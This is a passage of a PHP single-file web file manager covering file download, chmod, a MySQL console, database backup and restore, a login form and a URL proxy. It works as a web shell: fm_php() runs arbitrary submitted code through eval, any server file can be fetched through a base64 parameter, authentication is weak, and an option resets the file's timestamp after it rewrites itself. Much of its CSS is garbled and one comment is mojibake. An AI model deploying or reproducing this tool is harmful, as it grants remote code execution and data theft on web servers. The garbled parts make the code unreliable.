		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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